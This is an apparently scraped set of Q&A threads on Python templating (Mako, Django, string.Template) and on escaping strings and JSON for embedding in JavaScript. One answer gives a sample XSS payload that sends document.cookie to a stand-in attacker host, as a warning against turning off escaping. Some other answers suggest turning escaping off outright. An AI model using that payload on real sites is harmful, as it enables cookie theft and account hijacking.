I'm reading a text file, splitting it on \n and putting the results in a Python list.
I'm then using JSONEncoder().encode(mylist), but the result throws errors as it produces the javascript:
var jslist = ["List item 1", "List item 2"]
I'm guessing switching to single quotes would solve this, but it's unclear how to force JSONEncoder/python to use one or the other.
Update: The context is a pyramid application, here's the end of the function (components is the name of the list:
return {'components': JSONEncoder().encode(components)}
and then in the mako template:
var components = ${components};
which is being replaced as above.
mako is escaping your strings because it's a sane default for most purposes. You can turn off the escaping on a case-by-case basis:
${components | n}
If you are embedding the JSON on a HTML page, beware. As Mako does not know about script tags, so it goes on to escape the string using the standard escapes. However a <script> tag has different escaping rules. Notably, NOT escaping makes your site prone to Cross-Site Scripting attacks if the JSON contains user-generated data. Consider the following info in User-editable field (user.name)
user.name = "</script><script language='javascript'>" +
"document.write('<img src=\'http://ev1l.com/stealcookies/?'" +
"+ document.cookie + '/>');</script><script language='vbscript'>"
Alas, Python JSON encoder does not have an option for safely encoding JSON so that it
is embeddable within HTML - or even Javascript (a bug has been entered into Python bug db). Meanwhile you should use ensure_ascii=True + replace all '<' with '\\u003c' to avoid hacking by malicious users.
Related
I'm using Python 3.7 and Django. I want to get a string from a template in Python and make the apporpriate substitutions like so ...
src = Template(filein.read())
# document data
relative_path = article.path.replace(settings.REDDIT_URL_PREFIX, "")
d = {'relative_path': relative_path, 'comment': comment}
# do the substitution
result = src.substitute(d)
However, there is one problem. My template contains this
["xpath=//a[#onclick='$(this).parent().submit()']", "xpath:attributes"],
The dollar sign is usually used for substitution, and so maybe for this reason, my above code is dying with the error ...
ValueError: Invalid placeholder in string: line 248, col 31
Does anyone know how I modify the above template line so that the substitution mechanism ignores the dollar sign on that line?
Three options:
1) Follow the escaping rules
https://www.simplifiedpython.net/python-template-class/
“$$“ is an escape ; it is replaced with a single “$“.
“$identifier“ names a substitution placeholder matching a mapping key
of “identifier”. By default, “identifier” must spell a Python
identifier. The first non-identifier character after the “$”
character terminates this placeholder specification.
“${identifier}“ is equivalent to “$identifier“. It is required when
valid identifier characters follow the placeholder but are not part
of the placeholder, such as “${noun}ification”.
2) Follow my twisted workaround
In a regular django template you can place {{ verbatium}} {{end verbatium}} around javascript, but you are using Python's new string Template. I think you are going to have to sanitize your string in some manner, then reverse it after the substitution. You would have to first load your file as a string, then convert to a template
with open("/path/to/myfile.txt", "rb") as myfile:
initial = "/n".join(myfile.readlines()[1:])
initial.replace('$(this)',"QXQQQXQ")
src = Template(initial)
result = src.substitute(d)
result.replace("QXQQQXQ", '$(this)')
3) Just use regular django Templates
Django templates have all sorts of constructs that lets you turn dictionary data into a functioning web page beyond simple value substitutions
I have a blog written in django that I am attempting to add syntax highlighting to. The posts are written and stored in the database as textile markup. Here is how they are supposed to be rendered via template engine:
{{ body|textile|pygmentize|safe }}
It renders all the HTML correctly and the code gets highlighted, but some characters within the code blocks are being escaped. Specifically double quotes, single quotes, and greater than signs.
Here is the Pygments filter I am using: http://djangosnippets.org/snippets/416/
I'm not sure which filter is actually putting the escaped characters in there or how to make it stop that. Any suggestions?
shameless plug to me answering this on another page:
https://stackoverflow.com/a/10138569/1224926
the problem is beautifulsoup (rightly) assumes code is unsafe. but if you parse it into a tree, and pass that in, it works. So your line:
code.replaceWith(highlight(code.string, lexer, HtmlFormatter()))
should become:
code.replaceWith(BeautifulSoup(highlight(code.string, lexer, HtmlFormatter())))
and you get what you would expect.
I am generating complex XML files through Python scripts that require a bunch of conditional statements (example http://repository.azgs.az.gov/uri_gin/azgs/dlio/536/iso19139.xml). I am working with multiple XML or ASCII metadata standards that often have poor schema or are quite vague.
In PHP, I just wrote out the XML and inserted PHP snippets where needed. Is there an easy way to do that in Python? I am trying to avoid having to escape all that XML. The inline method is also very helpful for tweaking the template without much rewrite.
I have looked a bit into Python templeting solutions but they appeared either too static or were overkill. Moving the whole XML into an XML object is a lot of work at a cost of flexibility when changing the XML or ASCII template.
Thanks for the newbie support!
wgrunberg,
I use Python's built-in string.Template class like so:
from string import Template
the_template = Template("<div id='$section_id'>First name: $first</div>")
print the_template.substitute(section_id="anID", first="Sarah")
The output of the above is:
<div id='anID'>First name: Sarah</div>
In the above example I showed an XML template, but any "template" that you can describe as a string would work.
To do conditionals you can do something like:
print the_template.substitute(section_id="theID", first="Sarah" if 0==0 else "John")
If your conditionals are complex, instead of expressing them inline as above, consider breaking them out into closures/functions.
Try any modern non-XML-based Python templating engine, e.g. Mako or Jinja2. They are fairly easy to integrate into your project, and then you will be able to write things such as:
<sometag>
%if a > b:
<anothertag />
%endif
</sometag>
You can also use inline python, including assignments.
#Gintautas' suggestion of using a good template engine would also be my first choice (especially Mako, whose "templating language" is basically Python plus some markup;-).
However, alternatives many people prefer to build XML files include writing them from the DOM, e.g. using (to stick with something in the standard library) ElementTree or (a third-party package, but zero trouble to install and very popular) BeautifulSoup (by all means stick with its 3.0.x release unless you're using Python 3!), specifically the BeautifulStoneSoup class (the BeautifulSoup class is for processing HTML, the stone one for XML).
Going for a template is the sensible thing to do. Using the build-in string template over external libraries would be my preferred method because I need to be able to pass on the Python ETL scripts easily to other people. However, I could get away with using templates by putting the XML string inside single quotes and using multi-line strings. Following is an example of this crude method.
for row in metadata_dictionary:
iso_xml = ''
iso_xml += ' *** a bunch of XML *** '
iso_xml += '\
<gmd:contact> \n\
<gmd:CI_ResponsibleParty> \n'
if row['MetadataContactName']:
iso_xml += '\
<gmd:individualName> \n\
<gco:CharacterString>'+row['MetadataContactName'].lower().strip()+'</gco:CharacterString> \n\
</gmd:individualName> \n'
if row['MetadataContactOrganisation']:
iso_xml += '\
<gmd:organisationName> \n\
<gco:CharacterString>'+row['MetadataContactOrganisation'].lower().strip()+'</gco:CharacterString> \n\
</gmd:organisationName> \n'
iso_xml += ' *** more XML *** '
I'm developing under Pylons using Mako templates. The problem is that I need to assign a string from some attribute of tmpl_context to a JavaScript variable in a page body. The additional problem is that this string can be quite arbitrary, ie can contain such characters like ", ', <, >, etc... Is there a common way to do such assignment?
I've tried something like:
<script>
...
var a = "${c.my_string}";
...
</script>
but I get quotation marks and HTML special characters escaped. But I would not like to disable filtering because of possible danger of executing of unexpected code.
You have some arbitrary data in c.my_string, and therefore do not want to use "|n", right?
Quickiest way to escape it in JS-style escaping would be
var a = ${c.my_string.__repr__()|n}; # Note lack of "" around it!
However I'm unsure about <> characters (with something like </script> inserted), maybe you would also want to use .replace('<', '<');
For unicode you will need to also strip 'u' character from start of the string.
if I understood what you want, try webhelpers.html.literal:
helper:
from webhelpers.html import literal
html:
<script>
document.write('${h.literal(c.my_string)}');
</script>
this is better than ${c.mystring|n} escaping html
I'm trying to render a string into a javascript ( which usually works fine for me ) here's my code
HTML:
THE USER NAME IS : {{name}} has added app {{has_added_app}}
JAVA SCRIPT:
<script>
<!--
var userName = {{name}}
The html version works the javascript fails when I have tried the same rendering in javascript before and it worked.
var userName = {{name}}
Comes out when you view the HTML source as:
var userName = Bob
Which is an obvious mistake: missing quotes. But, simply putting quotes around it:
var userName = '{{name}}';
isn't good enough for the general case. What if the string contains a quote character, or a backslash, or a newline? Best case, your app falls over. Worst case, cross-site-scripting security hole. What's more a & or < character in the name won't come through properly either, as Django autoescape will probably assume it's in a non-CDATA HTML context and inappropriately &-escape them.
Use the escapejs filter instead:
var userName = '{{name|escapejs}}';
Alternatively use a JSON encoder to turn any basic datatype into JavaScript literal format, not just string. There's json in the standard library from 2.6, but note this doesn't escape the < character in strings, so for injecting code into a script element you'd have to escape that manually to prevent a </script> sequence ending the CDATA element prematurely.
comments for the javascript:
var userName = "{{name}}";
Remember that Django templates are purely textual: they don't "know" that you're creating Javascript. You need to include the quotes that Javascript needs around a string literal:
var userName = "{{name}}";